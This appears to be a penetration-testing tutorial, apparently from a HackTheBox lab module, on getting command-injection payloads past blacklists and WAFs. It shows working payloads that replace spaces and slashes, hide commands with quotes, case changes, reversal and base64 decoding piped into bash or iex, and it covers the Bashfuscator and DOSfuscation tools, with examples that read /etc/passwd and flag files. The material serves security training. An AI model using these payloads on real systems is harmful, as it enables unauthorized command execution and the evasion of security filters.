Filter Evasion

Identifying Filters

Filter/WAF Detection

If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.

Other than the IP (which we know is not blacklisted), we sent:

  1. A semi-colon character ;

  2. A space character

  3. A whoami command

So, the web application either detected a blacklisted character or detected a blacklisted command, or both. So, let us see how to bypass each.

Blacklisted Characters

Identifying Blacklisted Character

Fuzz or manually test by adding the character at the end of a working payload like:

127.0.0.1;

Bypassing Space Filters

Bypass Blacklisted Spaces

Input:

127.0.0.1%0a whoami

If we get an error (that we didn't get with just %0A(New line)) something else is blacklisted.

Try again adding just the space:

127.0.0.1%0A 

As we can see, the space character is indeed blacklisted as well. A space is a commonly blacklisted character, especially if the input should not contain any spaces, like an IP, for example. Still, there are many ways to add a space character without actually using the space character!

Using Tabs

Using tabs (%09) instead of spaces is a technique that may work, as both Linux and Windows accept commands with tabs between arguments, and they are executed the same.

Using $IFS

Using the ($IFS) Linux Environment Variable may also work since its default value is a space and a tab, which would work between command arguments.

Let us use ${IFS} and see if it works (127.0.0.1%0a${IFS})

Using Brace Expansion

There are many other methods we can utilize to bypass space filters. For example, we can use the Bash Brace Expansion feature, which automatically adds spaces between arguments wrapped between braces, as follows:

{ls,-la}
127.0.0.1%0a{ls,-la}

To discover more space filter bypasses, check out the PayloadsAllTheThings page on writing commands without spaces.

Bypassing Other Blacklisted Characters

Linux

There are many techniques we can utilize to have slashes in our payload. One such technique we can use for replacing slashes (or any other character) is through Linux Environment Variables like we did with ${IFS}. While ${IFS} is directly replaced with a space, there's no such environment variable for slashes or semi-colons. However, these characters may be used in an environment variable, and we can specify start and length of our string to exactly match this character.

For example, if we look at the $PATH environment variable in Linux, it may look something like the following:

/usr/local/bin:/usr/bin:/bin:/usr/games

So, if we start at the 0 character, and only take a string of length 1, we will end up with only the / character, which we can use in our payload:

echo ${PATH:0:1}

/

We can do the same with the $HOME or $PWD environment variables as well. We can also use the same concept to get a semi-colon character, to be used as an injection operator. For example, the following command gives us a semi-colon:

echo ${LS_COLORS:10:1}

;

The printenv command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only.

So, let's try to use environment variables to add a semi-colon and a space to our payload (127.0.0.1${LS_COLORS:10:1}${IFS})

Windows

The same concept works on Windows as well. For example, to produce a slash in Windows Command Line (CMD), we can echo a Windows variable (%HOMEPATH% -> \Users\htb-student), and then specify a starting position (~6 -> \htb-student), and finally specifying a negative end position, which in this case is the length of the username htb-student (-11 -> \) :

echo %HOMEPATH:~6,-11%

\

We can achieve the same thing using the same variables in Windows PowerShell. With PowerShell, a word is considered an array, so we have to specify the index of the character we need. As we only need one character, we don't have to specify the start and end positions:

$env:HOMEPATH[0]

\


$env:PROGRAMFILES[10]

We can also use the Get-ChildItem Env: PowerShell command to print all environment variables and then pick one of them to produce a character we need. Try to be creative and find different commands to produce similar characters

Character Shifting

There are other techniques to produce the required characters without using them, like shifting characters. For example, the following Linux command shifts the character we pass by 1. So, all we have to do is find the character in the ASCII table that is just before our needed character (we can get it with man ascii), then add it instead of [ in the below example. This way, the last printed character would be the one we need:

man ascii
echo $(tr '!-}' '"-~'<<<[)

We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones.

Bypassing Blacklisted Commands

Commands Blacklist

So, let us go back to our very first payload and re-add the whoami command to see if it gets executed:

Linux & Windows

One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like Bash or PowerShell and will execute the same command as if they were not there. Some of these characters are a single-quote ' and a double-quote ", in addition to a few others.

$ w'h'o'am'i

21y4d

The same works with double-quotes as well:

$ w"h"o"am"i

21y4d

The important things to remember are that we cannot mix types of quotes and the number of quotes must be even. We can try one of the above in our payload (127.0.0.1%0aw'h'o'am'i) and see if it works

Linux Only

We can insert a few other Linux-only characters in the middle of commands, and the bash shell would ignore them and execute the command. These characters include the backslash \ and the positional parameter character $@. This works exactly as it did with the quotes, but in this case, the number of characters do not have to be even, and we can insert just one of them if we want to:

who$@ami
w\ho\am\i

Windows Only

There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (^) character, as we can see in the following example:

who^ami

Advanced Command Obfuscation

Case Manipulation

One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. WHOAMI) or alternating between cases (e.g. WhOaMi). This usually works because a command blacklist may not check for different case variations of a single word, as Linux systems are case-sensitive.

If we are dealing with a Windows server, we can change the casing of the characters of the command and send it. In Windows, commands for PowerShell and CMD are case-insensitive, meaning they will execute the command regardless of what case it is written in:

WhOaMi

However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following:

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")

Reversed Commands

echo 'whoami' | rev

Then, we can execute the original command by reversing it back in a sub-shell ($()), as follows:

$(rev<<<'imaohw')

The same can be applied in Windows. We can first reverse a string, as follows:

"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"

Encoded Commands

The final technique we will discuss is helpful for commands containing filtered characters or characters that may be URL-decoded by the server.

We can utilize various encoding tools, like base64 (for b64 encoding) or xxd (for hex encoding). Let's take base64 as an example. First, we'll encode the payload we want to execute (which includes filtered characters):

echo -n 'cat /etc/passwd | grep 33' | base64

Now we can create a command that will decode the encoded string in a sub-shell ($()), and then pass it to bash to be executed (i.e. bash<<<), as follows:

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Note that we are using <<< to avoid using a pipe |, which is a filtered character.

Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.

We use the same technique with Windows as well. First, we need to base64 encode our string, as follows:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

We may also achieve the same thing on Linux, but we would have to convert the string from utf-8 to utf-16 before we base64 it, as follows:

echo -n whoami | iconv -f utf-8 -t utf-16le | base64

Finally, we can decode the b64 string and execute it with a PowerShell sub-shell (iex "$()"), as follows:

iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

As we can see, we can get creative with Bash or PowerShell and create new bypassing and obfuscation methods that have not been used before, and hence are very likely to bypass filters and WAFs. Several tools can help us automatically obfuscate our commands, which we will discuss in the next section.

In addition to the techniques we discussed, we can utilize numerous other methods, like wildcards, regex, output redirection, integer expansion, and many others. We can find some such techniques on PayloadsAllTheThings.

Evasion Tools

If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss a couple of examples of these types of tools, one for Linux and another for Windows.

Linux (Bashfuscator)

A handy tool we can utilize for obfuscating bash commands is Bashfuscator. We can clone the repository from GitHub and then install its requirements, as follows:

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

Once we have the tool set up, we can start using it from the ./bashfuscator/bin/ directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the -h help menu:

cd ./bashfuscator/bin/
./bashfuscator -h

We can start by simply providing the command we want to obfuscate with the -c flag:

./bashfuscator -c 'cat /etc/passwd'

However, running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters! So, we can use some of the flags from the help menu to produce a shorter and simpler obfuscated command, as follows:

./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

We can now test the outputted command with bash -c '', to see whether it does execute the intended command:

bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

We can see that the obfuscated command works, all while looking completely obfuscated, and does not resemble our original command. We may also notice that the tool utilizes many obfuscation techniques, including the ones we previously discussed and many others.

Windows (DOSfuscation)

There is also a very similar tool that we can use for Windows called DOSfuscation. Unlike Bashfuscator, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows:

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

We can even use tutorial to see an example of how the tool works. Once we are set, we can start using the tool, as follows:

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

Finally, we can try running the obfuscated command on CMD, and we see that it indeed works as expected:

typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh. Run pwsh, and then follow the exact same command from above. This tool is installed by default in your `Pwnbox` instance. You can also find installation instructions at this link.

For more on advanced obfuscation methods, you may refer to the Secure Coding 101: JavaScript module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module.

Last updated